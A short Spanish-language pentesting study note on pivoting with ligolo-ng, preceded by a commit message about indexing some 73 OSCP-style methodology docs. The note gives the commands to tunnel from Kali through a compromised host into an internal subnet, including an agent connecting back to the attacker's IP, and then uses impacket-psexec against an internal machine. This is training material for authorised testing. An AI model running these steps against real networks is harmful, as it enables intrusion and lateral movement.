7e06ce46cf
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
930 B
930 B
Pivoting (ligolo-ng)
Entrar en una red interna no enrutable desde Kali, a través de una máquina comprometida. En
tu carpeta.
El concepto
KALI 10.10.10.5 ── túnel ──> USER1 10.10.10.50 ── llega a ──> 192.168.5.0/24 (DC interno)
- proxy corre en Kali, agent en la víctima.
- Añades una ruta y las tools tiran por el túnel transparentemente.
Montaje
# Kali (proxy):
sudo ip tuntap add user $USER mode tun ligolo && sudo ip link set ligolo up
./proxy -selfcert
# Víctima (agent):
./agent -connect TU_IP:11601 -ignore-cert
# En la consola de ligolo: session → start ; luego en Kali:
sudo ip route add 192.168.5.0/24 dev ligolo
Resultado
impacket-psexec admin@192.168.5.10 # el tráfico va por el túnel, transparente
Ahora Movimiento lateral y Active Directory funcionan contra la red interna.
Relacionado: Puesto de mando Kali · OSCP MOC